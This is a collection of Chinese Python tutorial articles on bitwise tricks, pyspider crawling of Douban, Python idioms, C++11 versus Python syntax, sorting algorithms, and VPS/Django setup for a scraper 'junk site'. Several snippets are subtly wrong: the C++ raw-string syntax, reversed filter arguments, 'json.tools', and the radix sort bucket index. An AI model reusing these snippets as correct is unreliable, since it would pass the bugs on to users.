那么有没有一个解题的万能思考法则，按照这个法则去思考，最终能解决所有的问题或者是证明某个问题不可解？目前看来是没有这样的思考法则的，不然我们就可以制造出真正的会思考的机器了。

不过还是有许多思维方法值得我们去学习强化，波利亚在《How To Solve It》上总结了这些方法，如果想培养良好的思维习惯，那么这本书是必不可少的。


 你不知道的按位运算

作者：selfboot

来源： 你不知道的按位运算



                    
先来看LeetCode上的Divide Two Integers题目要求：

Divide two integers without using multiplication, division and mod operator.



就是说不用乘法，除法，求模运算来实现两个整数相除，看起来很简单，我可以用除数减去被除数，直到除数小于被除数，记录减法操作的次数即可。假设是计算m/n，那么时间复杂度为O(m/n)。用Python实现后，Time Limit Exceeded。我们考虑有没有更加优化的算法呢？

如果很难想得到，那就先来回忆下二进制数按位运算的一些知识。

二进制数按位运算

计算机里面所有数据都存储为0，1串，所有的运算归根到底都转为二进制数的运算。相信大家都知道二进制数按位运算的规则：



来看一些简单的例子：

1010 & 1100 = 1000
1010 | 1100 = 1110
1010 ^ 1100 = 0110
1010 << 2   = 101000
1010 >> 2   = 10
~1010       = 0101


单纯的二进制位之间的这些运算相当简单，但对我们实际编程并没有直接帮助，因为编程过程中需要的经常是数字间的运算，比如 5*(2^4) 。真的是这样吗？接着往下看！

计算机中数字的存储方式

我们都知道计算机中万物皆为0、1，将万物变为0、1的过程叫做编码，这里我们只讨论将数字编码为0、1的过程。

计算机中对数字的表示有三种方式：原码，反码，补码：


	原码表示法在数值前面增加了一位符号位（即最高位为符号位）：正数该位为0，负数该位为1。比如十进制3如果用8个二进制位来表示就是 00000011， -3就是 10000011。


	反码表示方法：正数的反码是其本身；负数的反码是在其原码的基础上，符号位不变，其余各个位取反。


	补码表示方法：正数的补码是其本身；负数的补码是在其原码的基础上，符号位不变，其余各位取反，最后+1。 (即在反码的基础上+1)




原码容易被人脑直接识别并用于计算，但是对于计算机来说并不友好。所以在计算机系统中，数值一律用补码来表示、运算和存储。使用补码，可以将符号位和数值域统一处理，将加法和减法统一处理。此外，补码与原码相互转换，其运算过程是相同的，不需要额外的硬件电路。详细的解释可以参考原码, 反码, 补码详解。

数字的按位运算

计算机中数字存储为补码形式，各个数之间的运算也是对它们的补码做运算，而且得到的结果也是补码，如下图：



各种编程语言都提供了对补码的二进制位直接进行运算的方法。以Python为例：

>>> 0b1010 & 0b1100
8   #1000
>>> 0b1010 | 0b1100
14  #1110
>>> 0b1010 ^ 0b1100
6   #0110
>>> 0b1010 << 2
40  #101000
>>> 0b1010 >> 2
2   #10
>>> ~0b1010
-11 #10000000 00000000 00000000 00001011
>>> type(0b1010)
<type 'int'>

上面0b开头的0、1串表示整型数字，在32位操作系统中，Python中int类型一般占32个二进制位，以最后一个求反运算为例子，1010的补码为

00000000 00000000 00000000 00001010



求反操作后为：

11111111 11111111 11111111 11110101



即为-11(原码为：10000000 00000000 00000000 00001011)的补码。（对一个数的补码求补码即可得到该数的原码）

另辟蹊径的按位运算

那么按位运算在实际编程中可以扮演哪些角色呢？简单点地，可以用来判断奇、偶数：num & 0x1，或者对一个数变换符号：~num + 1；复杂点的可以用来交换两个数，求绝对值等等。

> 不用额外的变量实现两个数字互换。

def swap(num_1, num_2):
    num_1 ^= num_2
    num_2 ^= num_1
    num_1 ^= num_2
    return num_1, num_2

证明很简单，我们只需要明白异或运算满足下面规律：


	0^a = a;


	a^a = 0;


	a^b^c = a^c^b;




巧妙运用异或可以高效解决很多问题，比如 找出数组中只出现了一次的数（除了一个数只出现一次外，其他数都是出现两次），以及它的升级版：数组中只出现1次的两个数字(百度面试题)。

> 不用判断语句来实现求绝对值。

def bit_abs(num):
    negative = num >> 31
    return (num ^ negative) - negative

这里假设程序运行环境中操作系统为32位，int型整数(不考虑整数溢出)用32位存储，因此可以用 num>>31 取出符号位，后面的部分留给大伙证明。

Leetcode 题目思路

回到文章开始提到的题目中，我们对除数减去被除数的过程稍作改进。假设求m/n，我们不一次次的 m-n，而是找到n的一个倍数，使得m-x*n尽可能小，这样能减少循环减法的次数，进而提高效率。我们知道在按位操作中，n << k相当于 n * 2^k，因此可以用2^k 来找合适的x。

我们需要这样的一个数字k，它使得n  2^k < m < n 2^(k+1)， 然后用m - n*2^k，得到新的m'。再找相应的k'，做减法，如此循环即可。代码放在这里。

原文地址

相关阅读  
Pyhon wiki: BitwiseOperators  
位操作基础篇之位操作全面总结


 pyspider 爬虫教程（一）：HTML 和 CSS 选择器

作者：足兆叉虫

来源： pyspider 爬虫教程（一）：HTML 和 CSS 选择器



                    
虽然以前写过 如何抓取WEB页面 和 如何从 WEB 页面中提取信息。但是感觉还是需要一篇 step by step 的教程，不然没有一个总体的认识。不过，没想到这个教程居然会变成一篇译文，在这个爬虫教程系列文章中，会以实际的例子，由浅入深讨论爬取（抓取和解析）的一些关键问题。


在 教程一 中，我们将要爬取的网站是豆瓣电影：http://movie.douban.com/


你可以在: http://demo.pyspider.org/debug/tutorial_douban_movie 获得完整的代码，和进行测试。


开始之前


由于教程是基于 pyspider 的，你可以安装一个 pyspider（Quickstart，也可以直接使用 pyspider 的 demo 环境： http://demo.pyspider.org/。


你还应该至少对万维网是什么有一个简单的认识：



	
万维网是一个由许多互相链接的超文本页面（以下简称网页）组成的系统。

	网页使用网址（URL）定位，并链接彼此

	网页使用 HTTP 协议传输

	网页使用 HTML 描述外观和语义



所以，爬网页实际上就是：



	找到包含我们需要的信息的网址（URL）列表

	通过 HTTP 协议把页面下载回来

	从页面的 HTML 中解析出需要的信息

	找到更多这个的 URL，回到 2 继续



选取一个开始网址


既然我们要爬所有的电影，首先我们需要抓一个电影列表，一个好的列表应该：



	包含足够多的电影的 URL

	通过翻页，可以遍历到所有的电影

	一个按照更新时间排序的列表，可以更快抓到最新更新的电影



我们在 http://movie.douban.com/ 扫了一遍，发现并没有一个列表能包含所有电影，只能退而求其次，通过抓取分类下的所有的标签列表页，来遍历所有的电影： http://movie.douban.com/tag/


创建一个项目


在 pyspider 的 dashboard 的右下角，点击 "Create" 按钮





替换 on_start 函数的 self.crawl 的 URL：


python@every(minutes=24 * 60)
def on_start(self):
    self.crawl('http://movie.douban.com/tag/', callback=self.index_page)




  
	
self.crawl 告诉 pyspider 抓取指定页面，然后使用 callback 函数对结果进行解析。

  	
@every 修饰器，表示 on_start 每天会执行一次，这样就能抓到最新的电影了。

  




点击绿色的 run 执行，你会看到 follows 上面有一个红色的 1，切换到 follows 面板，点击绿色的播放按钮：





Tag 列表页


在 tag 列表页 中，我们需要提取出所有的 电影列表页 的 URL。你可能已经发现了，sample handler 已经提取了非常多大的 URL，所有，一种可行的提取列表页 URL 的方法就是用正则从中过滤出来：


pythonimport re
...

    @config(age=10 * 24 * 60 * 60)
    def index_page(self, response):
        for each in response.doc('a[href^="http"]').items():
            if re.match("http://movie.douban.com/tag/\w+", each.attr.href, re.U):
                self.crawl(each.attr.href, callback=self.list_page)




  
	由于 电影列表页和 tag列表页长的并不一样，在这里新建了一个 callback 为 self.list_page


  	
@config(age=10 * 24 * 60 * 60) 在这表示我们认为 10 天内页面有效，不会再次进行更新抓取

  




由于 pyspider 是纯 Python 环境，你可以使用 Python 强大的内置库，或者你熟悉的第三方库对页面进行解析。不过更推荐使用 CSS选择器。


电影列表页


再次点击 run 让我们进入一个电影列表页(list_page)。在这个页面中我们需要提取：



	电影的链接，例如，http://movie.douban.com/subject/1292052/


	下一页的链接，用来翻页



CSS选择器


CSS选择器，顾名思义，是 CSS 用来定位需要设置样式的元素 所使用的表达式。既然前端程序员都使用 CSS选择器 为页面上的不同元素设置样式，我们也可以通过它定位需要的元素。你可以在 CSS 选择器参考手册 这里学习更多的 CSS选择器 语法。


在 pyspider 中，内置了 response.doc 的 PyQuery 对象，让你可以使用类似 jQuery 的语法操作 DOM 元素。你可以在 PyQuery 的页面上找到完整的文档。


CSS Selector Helper


在 pyspider 中，还内置了一个 CSS Selector Helper，当你点击页面上的元素的时候，可以帮你生成它的 CSS选择器 表达式。你可以点击 Enable CSS selector helper 按钮，然后切换到 web 页面：





开启后，鼠标放在元素上，会被黄色高亮，点击后，所有拥有相同 CSS选择器 表达式的元素会被高亮。表达式会被插入到 python 代码当前光标位置。创建下面的代码，将光标停留在单引号中间：


pythondef list_page(self, response):
    for each in response.doc('').items():



点击一个电影的链接，CSS选择器 表达式将会插入到你的代码中，如此重复，插入翻页的链接：


pythondef list_page(self, response):
    for each in response.doc('HTML>BODY>DIV#wrapper>DIV#content>DIV.grid-16-8.clearfix>DIV.article>DIV>TABLE TR.item>TD>DIV.pl2>A').items():
        self.crawl(each.attr.href, callback=self.detail_page)
    # 翻页
    for each in response.doc('HTML>BODY>DIV#wrapper>DIV#content>DIV.grid-16-8.clearfix>DIV.article>DIV.paginator>A').items():
        self.crawl(each.attr.href, callback=self.list_page)




  
	翻页是一个到自己的 callback 回调

  




电影详情页


再次点击 run，follow 到详情页。使用 css selector helper 分别添加电影标题，打分和导演：


pythondef detail_page(self, response):
    return {
        "url": response.url,
        "title": response.doc('HTML>BODY>DIV#wrapper>DIV#content>H1>SPAN').text(),
        "rating": response.doc('HTML>BODY>DIV#wrapper>DIV#content>DIV.grid-16-8.clearfix>DIV.article>DIV.indent.clearfix>DIV.subjectwrap.clearfix>DIV#interest_sectl>DIV.rating_wrap.clearbox>P.rating_self.clearfix>STRONG.ll.rating_num').text(),
        "导演": [x.text() for x in response.doc('a[rel="v:directedBy"]').items()],
    }



注意，你会发现 css selector helper 并不是总是能提取到合适的 CSS选择器 表达式。你可以在 Chrome Dev Tools 的帮助下，写一个合适的表达式：





右键点击需要提取的元素，点击审查元素。你并不需要像自动生成的表达式那样写出所有的祖先节点，只要写出那些能区分你不需要的元素的关键节点的属性就可以了。不过这需要抓取和网页前端的经验。所以，学习抓取的最好方法就是学会这个页面/网站是怎么写的。


你也可以在 Chrome Dev Tools 的 Javascript Console 中，使用 $$(a[rel="v:directedBy"]) 测试 CSS Selector。


开始抓取



	使用 run 单步调试你的代码，对于用一个 callback 最好使用多个页面类型进行测试。然后保存。


	回到 Dashboard，找到你的项目

	将 status 修改为 DEBUG 或 RUNNING


	按 run 按钮








原文：http://blog.binux.me/2015/01/pyspider-tutorial-level-1-html-and-css-selector/ （样式比原文还好看，闹哪样啊）


 Python初学者的17个技巧 

作者：不写代码的码农

来源： Python初学者的17个技巧 



                    
英文原文：http://www.maxburstein.com/blog/python-shortcuts-for-the-python-beginner/


交换变量


x = 6
y = 5

x, y = y, x

print x
>>> 5
print y
>>> 6



if 语句在行内


print "Hello" if True else "World"
>>> Hello



连接


下面的最后一种方式在绑定两个不同类型的对象时显得很酷。


nfc = ["Packers", "49ers"]
afc = ["Ravens", "Patriots"]
print nfc + afc
>>> ['Packers', '49ers', 'Ravens', 'Patriots']

print str(1) + " world"
>>> 1 world

print `1` + " world"
>>> 1 world

print 1, "world"
>>> 1 world
print nfc, 1
>>> ['Packers', '49ers'] 1



计算技巧


#向下取整
print 5.0//2
>>> 2
# 2的5次方
print 2**5
>> 32



注意浮点数的除法


print .3/.1
>>> 2.9999999999999996
print .3//.1
>>> 2.0



数值比较


x = 2
if 3 > x > 1:
   print x
>>> 2
if 1 < x > 0:
   print x
>>> 2



两个列表同时迭代


nfc = ["Packers", "49ers"]
afc = ["Ravens", "Patriots"]
for teama, teamb in zip(nfc, afc):
     print teama + " vs. " + teamb
>>> Packers vs. Ravens
>>> 49ers vs. Patriots



带索引的列表迭代


teams = ["Packers", "49ers", "Ravens", "Patriots"]
for index, team in enumerate(teams):
    print index, team
>>> 0 Packers
>>> 1 49ers
>>> 2 Ravens
>>> 3 Patriots



列表推导


已知一个列表，刷选出偶数列表方法：


numbers = [1,2,3,4,5,6]
even = []
for number in numbers:
    if number%2 == 0:
        even.append(number)



用下面的代替


numbers = [1,2,3,4,5,6]
even = [number for number in numbers if number%2 == 0]



字典推导


teams = ["Packers", "49ers", "Ravens", "Patriots"]
print {key: value for value, key in enumerate(teams)}
>>> {'49ers': 1, 'Ravens': 2, 'Patriots': 3, 'Packers': 0}



初始化列表的值


items = [0]*3
print items
>>> [0,0,0]



将列表转换成字符串


teams = ["Packers", "49ers", "Ravens", "Patriots"]
print ", ".join(teams)
>>> 'Packers, 49ers, Ravens, Patriots'



从字典中获取元素


不要用下列的方式


data = {'user': 1, 'name': 'Max', 'three': 4}
try:
   is_admin = data['admin']
except KeyError:
   is_admin = False



替换为


data = {'user': 1, 'name': 'Max', 'three': 4}
is_admin = data.get('admin', False)



获取子列表


x = [1,2,3,4,5,6]
#前3个
print x[:3]
>>> [1,2,3]
#中间4个
print x[1:5]
>>> [2,3,4,5]
#最后3个
print x[-3:]
>>> [4,5,6]
#奇数项
print x[::2]
>>> [1,3,5]
#偶数项
print x[1::2]
>>> [2,4,6]



60个字符解决FizzBuzz


前段时间Jeff Atwood 推广了一个简单的编程练习叫FizzBuzz，问题引用如下：


写一个程序，打印数字1到100，3的倍数打印“Fizz”来替换这个数，5的倍数打印“Buzz”，对于既是3的倍数又是5的倍数的数字打印“FizzBuzz”。



这里有一个简短的方法解决这个问题：


for x in range(101):print"fizz"[x%3*4::]+"buzz"[x%5*4::]or x



集合


用到Counter库


from collections import Counter
print Counter("hello")
>>> Counter({'l': 2, 'h': 1, 'e': 1, 'o': 1})



迭代工具


和collections库一样，还有一个库叫itertools


from itertools import combinations
teams = ["Packers", "49ers", "Ravens", "Patriots"]
for game in combinations(teams, 2):
    print game
>>> ('Packers', '49ers')
>>> ('Packers', 'Ravens')
>>> ('Packers', 'Patriots')
>>> ('49ers', 'Ravens')
>>> ('49ers', 'Patriots')
>>> ('Ravens', 'Patriots')



False == True


在python中，True和False是全局变量，因此：


False = True
if False:
   print "Hello"
else:
   print "World"
>>> Hello



译文首发：http://blog.92fenxiang.com/articles/1421931112


 你们以为我在学C++？其实我在学 Python

作者：pezy

来源： 你们以为我在学C++？其实我在学 Python



                    


我会随便说，C++ 近年来开始"抄袭" Python 么？我只会说，我在用 C++ 来学习 Python.

不信？来跟着我学？

字面量

Python 早在 2.6 版本中就支持将二进制作为字面量了[1], 最近 C++14 逐步成熟，刚刚支持这么干[2]:

static const int primes = 0b10100000100010100010100010101100;


更不用说 Python 在 1.5 时代就有了 raw string literals 的概念[3]，咱们 C++ 也不算晚，C++11里也有了类似做法：

const char* path = r"C:\Python27\Doc";


Range Loop

Python 写 for 循环是一件非常舒畅的事情：

for x in mylist:
    print(x);


大家都知道了，C++11里我总算也能做同样的事情了：

for (int x : mylist)
    std::cout << x;
    

类型自动推导

Python 中真的有类型的概念吗？(笑

x = "Hello World"
print(x)


C++11 也学会了这招，只不过保留了老太太的裹脚布(auto)。

auto x = "Hello World";
std::cout << x;


元组

Python 里的元组(tuple)让人羡慕已久，这玩意 Python 从一开始就有了。

triple = (5, "Hello", True)
print(triple[0])


好嘛，我来用 C++11 照猫画虎：

auto triple = std::make_tuple(5, "hello", true);
std::cout << std::get<0>(triple);


有人说了，Python 大法好，还能逆向解析成变量呢

x, y, z = triple


哼，C++难道不行？

std::tie(x, y, z) = triple;


Lists

Python 里，Lists 是内置类型[4]，创建一个 list 无比简单：

mylist = [1, 2, 3, 4]
mylist.append(5);


以前我们可以说，这有啥，std::vector差不多也能干这事。可 Python 粉较真了，您能像上面那样初始化吗？这话让 Bjarne Stroustrup 老爹听到了，暗自羞愧，于是在 C++11 里整出了个 initializer_list 做出回应[5]。

auto mylist = std::vector<int>{1,2,3,4};
mylist.push_back(5);


可人又说了，Python 里创造个 Dictionary 简单的跟什么一样[6]。

myDict = {5: "foo", 6: "bar"}
print(myDict[5])


切，C++ 本身就有 map 类型，现在又多了个哈希表 unordered_map，更像了:

auto myDict = std::unordered_map<int, const char*>{ { 5, "foo" }, { 6, "bar" } };
std::cout << myDict[5];


Lambda 表达式

Python 祭出大神器，1994年就有的 Lambda 表达式：

mylist.sort(key = lambda x: abs(x))


C++11 开始了拙劣的模仿：

std::sort(mylist.begin(), mylist.end(), [](int x, int y){ return std::abs(x) < std::abs(y); });


而 Python 在 2001 年加了一把力，引入了 Nested Scopes 的技术[7]：

def adder(amount):
return lambda x: x + amount
...
print(adder(5)(5))


C++11 不甘示弱，整出了 capture-list 的概念[8]。

auto adder(int amount) {
    return [=](int x){ return x + amount; };
}
...
std::cout << adder(5)(5);


内置算法

Python 里有诸多内置的强大算法函数，如 filter:

result = filter(mylist, lambda x: x >= 0)


C++11 倒也可以用 std::copy_if 干同样的事情：

auto result = std::vector<int>{};
std::copy_if(mylist.begin(), mylist.end(), std::back_inserter(result), [](int x){ return x >= 0; });


这样的函数在 <algorithm> 中屡见不鲜，而且都在与 Python 中的某种功能遥相呼应：transform, any_of, all_of, min, max.

可变参数

Python 从一开始就支持可变参数了。你可以定义一个变参的函数，个数可以不确定，类型也可以不一样。

def foo(*args):
    for x in args:
        print(x);
        
foo(5, "hello", True)


C++11 增加了对参数包的支持。但与 Python 的不同在于：只能在编译期通过模板来使用，而不像 Python 那样在运行期作为单个对象来使用。

template <typename... T> auto foo(T&&... args) {
    return std::make_tuple(args...);
}

auto triple = foo(5, "hello", true);




看到这里，你是否发现用 C++ 学习 Python 也不失为一种很妙的方式呢？ 从这个问题的答案，可以看出 @MiloYip 也是同道中人呢。 

继续

觉得不错？想要大展拳脚？ 看看这个 repo 吧。上面有更多的方式，教你用 C++ 来学习 Python.



参考资料：http://preshing.com/20141202/cpp-has-become-more-pythonic




 【译】Python的优雅技巧

作者：不写代码的码农

来源： 【译】Python的优雅技巧



                    
枚举


不要这么做：


i = 0 
for item in iterable: 
    print i, item 
    i += 1



而是这样：


for i, item in enumerate(iterable):
    print i, item



Enumerate可以接受第二个参数，例如：


>>> list(enumerate('abc')) 
[(0, 'a'), (1, 'b'), (2, 'c')] 

>>> list(enumerate('abc', 1)) 
[(1, 'a'), (2, 'b'), (3, 'c')]



字典/集合 解析


你可能知道列表解析，但不知道字典/集合解析。字典/集合解析简单而且高效，例如：


my_dict = {i: i * i for i in xrange(100)} 
my_set = {i * 15 for i in xrange(100)}
# There is only a difference of ':' in both



强制浮点数除法


如果我们除以一个整数，即使结果是一个浮点数，Python（2） 依旧会给我们一个整数。为了规避这个问题，我们需要这样做：


result = 1.0/2



但是现在有一种别的方法可以解决这个问题，甚至在之前我都没有意识到有这种方法存在。你可以进行如下操作：


from __future__ import division 
result = 1/2
# print(result)
# 0.5



需要注意的是这个窍门只适用于Python 2。在Python 3 中就不需要进行import 操作了，因为它已经默认进行import了。


简单的服务器


你想快速简单的分享目录下的文件吗？可以这样做：


# Python2
python -m SimpleHTTPServer

# Python 3
python3 -m http.server



这回启动一个服务器


Python表达式求值


我们都知道eval,但也许并不是所有人都知道literal_eval.可以这么做：


import ast 
my_list = ast.literal_eval(expr)



而不是这样：


expr = "[1, 2, 3]" 
my_list = eval(expr)



我相信对于大多数人来说这种形式是第一次看见，但是实际上这个在Python中已经存在很长时间了。


分析脚本


按下面的方式运行脚本，可以很简单的对其进行分析：


python -m cProfile my_script.py



对象自检


在Python中，可以通过dir()来检查对象，例如：


>>> foo = [1, 2, 3, 4]
>>> dir(foo) 
['__add__', '__class__', '__contains__', 
'__delattr__', '__delitem__', '__delslice__', ... , 
'extend', 'index', 'insert', 'pop', 'remove', 
'reverse', 'sort']



调试脚本


你可以使用pdb模块在脚本中设置断点来调试脚本，就像这样：


import pdb
pdb.set_trace()



你可以在脚本的任何地方加入pdb.set_trace()，该函数会在那个位置设置一个断点。超级方便。你应该多阅读pdb 函数的相关内容，因为在它里面还有很多鲜为人知的功能。


简化if结构


如果必须检查一些值，可以用


if n in [1,4,5,6]:



而不是用复杂的if结构：


if n==1 or n==4 or n==5 or n==6:



字符串/数列 逆序


下面的方式可以快速反转一个列表：


>>> a = [1,2,3,4]
>>> a[::-1]
[4, 3, 2, 1]

# This creates a new reversed list. 
# If you want to reverse a list in place you can do:

a.reverse()



这种方式同样适用于字符串：


>>> foo = "yasoob"
>>> foo[::-1]
'boosay'



优雅地打印


下面的方式可以用优雅的方式打印字典和列表：


from pprint import pprint 
pprint(my_dict)



这用于字典打印是非常高效的，如果你想从文件中快速优雅的打印出json，可以这样做：


cat file.json | python -m json.tools



三元运算


三元运算是if-else 语句的快捷操作，也被称为条件运算。这里有几个例子可以供你参考:


[on_true] if [expression] else [on_false]
x, y = 50, 25
small = x if x < y else y



译文出处：http://www.ido321.com/1576.html




  本文根据@Nicolas Bevacqua的《nifty-python-tricks》所译，整个译文带有我自己的理解与思想，如果译得不好或有不对之处还请同行朋友指点。如需转载此译文，需注明英文出处：https://freepythontips.wordpress.com/2015/04/19/nifty-python-tricks/。




 八大排序算法的Python实现

作者：我才是二亮

来源： 八大排序算法的Python实现



                    
1、插入排序


描述

插入排序的基本操作就是将一个数据插入到已经排好序的有序数据中，从而得到一个新的、个数加一的有序数据，算法适用于少量数据的排序，时间复杂度为O(n^2)。是稳定的排序方法。插入算法把要排序的数组分成两部分：第一部分包含了这个数组的所有元素，但将最后一个元素除外（让数组多一个空间才有插入的位置），而第二部分就只包含这一个元素（即待插入元素）。在第一部分排序完成后，再将这个最后元素插入到已排好序的第一部分中。

代码实现

def insert_sort(lists):
    # 插入排序
    count = len(lists)
    for i in range(1, count):
        key = lists[i]
        j = i - 1
        while j >= 0:
            if lists[j] > key:
                lists[j + 1] = lists[j]
                lists[j] = key
            j -= 1
    return lists

2、希尔排序


描述

希尔排序(Shell Sort)是插入排序的一种。也称缩小增量排序，是直接插入排序算法的一种更高效的改进版本。希尔排序是非稳定排序算法。该方法因DL．Shell于1959年提出而得名。
希尔排序是把记录按下标的一定增量分组，对每组使用直接插入排序算法排序；随着增量逐渐减少，每组包含的关键词越来越多，当增量减至1时，整个文件恰被分成一组，算法便终止。

代码实现

def shell_sort(lists):
    # 希尔排序
    count = len(lists)
    step = 2
    group = count / step
    while group > 0:
        for i in range(0, group):
            j = i + group
            while j < count:
                k = j - group
                key = lists[j]
                while k >= 0:
                    if lists[k] > key:
                        lists[k + group] = lists[k]
                        lists[k] = key
                    k -= group
                j += group
        group /= step
    return lists

3、冒泡排序


描述

它重复地走访过要排序的数列，一次比较两个元素，如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换，也就是说该数列已经排序完成。

代码实现

def bubble_sort(lists):
    # 冒泡排序
    count = len(lists)
    for i in range(0, count):
        for j in range(i + 1, count):
            if lists[i] > lists[j]:
                temp = lists[j]
                lists[j] = lists[i]
                lists[i] = temp
    return lists

4、快速排序


描述

通过一趟排序将要排序的数据分割成独立的两部分，其中一部分的所有数据都比另外一部分的所有数据都要小，然后再按此方法对这两部分数据分别进行快速排序，整个排序过程可以递归进行，以此达到整个数据变成有序序列。

代码实现

def quick_sort(lists, left, right):
    # 快速排序
    if left >= right:
        return lists
    key = lists[left]
    low = left
    high = right
    while left < right:
        while left < right and lists[right] >= key:
            right -= 1
        lists[left] = lists[right]
        while left < right and lists[left] <= key:
            left += 1
        lists[right] = lists[left]
    lists[right] = key
    quick_sort(lists, low, left - 1)
    quick_sort(lists, left + 1, high)
    return lists

5、直接选择排序


描述

基本思想：第1趟，在待排序记录r[1] ~ r[n]中选出最小的记录，将它与r[1]交换；第2趟，在待排序记录r[2] ~ r[n]中选出最小的记录，将它与r[2]交换；以此类推，第i趟在待排序记录r[i] ~ r[n]中选出最小的记录，将它与r[i]交换，使有序序列不断增长直到全部排序完毕。

算法实现

def select_sort(lists):
    # 选择排序
    count = len(lists)
    for i in range(0, count):
        min = i
        for j in range(i + 1, count):
            if lists[min] > lists[j]:
                min = j
        temp = lists[min]
        lists[min] = lists[i]
        lists[i] = temp
    return lists

6、堆排序


描述

堆排序(Heapsort)是指利用堆积树（堆）这种数据结构所设计的一种排序算法，它是选择排序的一种。可以利用数组的特点快速定位指定索引的元素。堆分为大根堆和小根堆，是完全二叉树。大根堆的要求是每个节点的值都不大于其父节点的值，即A[PARENT[i]] >= A[i]。在数组的非降序排序中，需要使用的就是大根堆，因为根据大根堆的要求可知，最大的值一定在堆顶。

代码实现

# 调整堆
def adjust_heap(lists, i, size):
    lchild = 2 * i + 1
    rchild = 2 * i + 2
    max = i
    if i < size / 2:
        if lchild < size and lists[lchild] > lists[max]:
            max = lchild
        if rchild < size and lists[rchild] > lists[max]:
            max = rchild
        if max != i:
            lists[max], lists[i] = lists[i], lists[max]
            adjust_heap(lists, max, size)

# 创建堆
def build_heap(lists, size):
    for i in range(0, (size/2))[::-1]:
        adjust_heap(lists, i, size)

# 堆排序
def heap_sort(lists):
    size = len(lists)
    build_heap(lists, size)
    for i in range(0, size)[::-1]:
        lists[0], lists[i] = lists[i], lists[0]
        adjust_heap(lists, 0, i)

7、归并排序


描述

归并排序是建立在归并操作上的一种有效的排序算法,该算法是采用分治法（Divide and Conquer）的一个非常典型的应用。将已有序的子序列合并，得到完全有序的序列；即先使每个子序列有序，再使子序列段间有序。若将两个有序表合并成一个有序表，称为二路归并。

归并过程为：比较a[i]和a[j]的大小，若a[i]≤a[j]，则将第一个有序表中的元素a[i]复制到r[k]中，并令i和k分别加上1；否则将第二个有序表中的元素a[j]复制到r[k]中，并令j和k分别加上1，如此循环下去，直到其中一个有序表取完，然后再将另一个有序表中剩余的元素复制到r中从下标k到下标t的单元。归并排序的算法我们通常用递归实现，先把待排序区间[s,t]以中点二分，接着把左边子区间排序，再把右边子区间排序，最后把左区间和右区间用一次归并操作合并成有序的区间[s,t]。

代码实现

def merge(left, right):
    i, j = 0, 0
    result = []
    while i < len(left) and j < len(right):
        if left[i] <= right[j]:
            result.append(left[i])
            i += 1
        else:
            result.append(right[j])
            j += 1
    result += left[i:]
    result += right[j:]
    return result


def merge_sort(lists):
    # 归并排序
    if len(lists) <= 1:
        return lists
    num = len(lists) / 2
    left = merge_sort(lists[:num])
    right = merge_sort(lists[num:])
    return merge(left, right)

8、基数排序


描述

基数排序（radix sort）属于“分配式排序”（distribution sort），又称“桶子法”（bucket sort）或bin sort，顾名思义，它是透过键值的部份资讯，将要排序的元素分配至某些“桶”中，藉以达到排序的作用，基数排序法是属于稳定性的排序，其时间复杂度为O (nlog(r)m)，其中r为所采取的基数，而m为堆数，在某些时候，基数排序法的效率高于其它的稳定性排序法。

代码实现

import math
def radix_sort(lists, radix=10):
    k = int(math.ceil(math.log(max(lists), radix)))
    bucket = [[] for i in range(radix)]
    for i in range(1, k+1):
        for j in lists:
            bucket[j/(radix**(i-1)) % (radix**i)].append(j)
        del lists[:]
        for z in bucket:
            lists += z
            del z[:]
    return lists

原文作者：我才是二亮
原文链接：http://www.2liang.me/archives/257
转载必须在正文中标注并保留原文链接、作者等信息。




 Python爬虫建站入门手记——从零开始建立采集站点（一：环境搭建）

作者：eric

来源： Python爬虫建站入门手记——从零开始建立采集站点（一：环境搭建）



                    
从今天起，我将在这里更新一个系列的python简单爬虫到建立网站的实践手记。


内容将会从最简单的开始，环境搭建，基本爬虫，入库，用Django建立可供用户访问的网站，网站部署。


同时打算涉及简单的异步爬虫，piplibe，队列等等。


为了方便，将使用django和sqlite3来作为例子， 虽然有时候这并不是最合适的场景。。


最终目的：一个能用的自动更新的垃圾站


下面进入正题。


第一部分，买VPS，装环境。


本文的一切操作都在vps上


在Runabove建立最便宜的instance.





选择魁省机房-Sandbox-M-Ubuntu14.10-输入Instace名字"PythonSpider"-FireUp!


不出一分钟，VPS就建立好了。



用SSH 连接服务器



先建立一个screen，顺手更新apt-get,以后都在这里面操作，避免掉线导致任务中断。


bashscreen -S spider # 取名叫spider的screen
sudo apt-get update
sudp apt-get upgrade



再顺手安装一些肯定会用的东西


bashsudo apt-get install gcc python-dev -y
sudo - #这一步以后，用户就是root了 记住
nginx=stable # use nginx=development for latest development version
add-apt-repository ppa:nginx/$nginx
apt-get update
apt-get install nginx -y
apt-get install libxml2-dev libxslt1-dev lib32z1-dev -y



装pip和virtualenv


bashwget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
pip install virtualenv



建立~/venv目录，建立virtualenv, 激活virtualenv


bashmkdir ~/venv
cd ~/venv
virtualenv spider
source ~/venv/spider/bin/activate



之后，shell提示符应该是这样



安装django(1.7)


bashpip install django
cd ~ # 返回用户目录



5秒钟后，django安装完毕，现在开始建立项目目录(Django的project)。我们爬虫站点的所有文件都放在里面。


bashdjango-admin startproject python_spider



再测试下安装是否成功


bashservice nginx stop # 为毛? 因为RunAbove的8000神马的端口不好用
python manage.py runserver 0.0.0.0:80 # 只能用80，真蛋疼



现在访问192.99.71.91,我就能看到Django的示例页面


没骗你吧？ 好了，看一眼能用就ctrl+c把服务器关掉。


然后，再建立一个app


bashcd python_spider
python manage.py startapp web



所以，现在我有一个Django项目，叫python_spider, 它里面有个app叫web.


未完待续。。。(点击下面阅读)
下一篇，是简单Python爬虫的编写。


 pyspider 爬虫教程（三）：使用 PhantomJS 渲染带 JS 的页面

作者：足兆叉虫

来源： pyspider 爬虫教程（三）：使用 PhantomJS 渲染带 JS 的页面



                    
英文原文：http://docs.pyspider.org/en/latest/tutorial/Render-with-PhantomJS/


在上两篇教程中，我们学习了怎么从 HTML 中提取信息，也学习了怎么处理一些请求复杂的页面。但是有一些页面，它实在太复杂了，无论是分析 API 请求的地址，还是渲染时进行了加密，让直接抓取请求非常麻烦。这时候就是 PhantomJS 大显身手的时候了。


在使用 PhantomJS 之前，你需要安装它（安装文档）。当你安装了之后，在运行 all 模式的 pyspider 时就会自动启用了。当然，你也可以在 demo.pyspider.org 上尝试。


使用 PhantomJS


当 pyspider 连上 PhantomJS 代理后，你就能通过在 self.crawl 中添加 fetch_type='js' 的参数，开启使用 PhantomJS 抓取。例如，在教程二中，我们尝试抓取的 http://movie.douban.com/explore 就可以通过 PhantomJS 直接抓取：


pythonclass Handler(BaseHandler):
    def on_start(self):
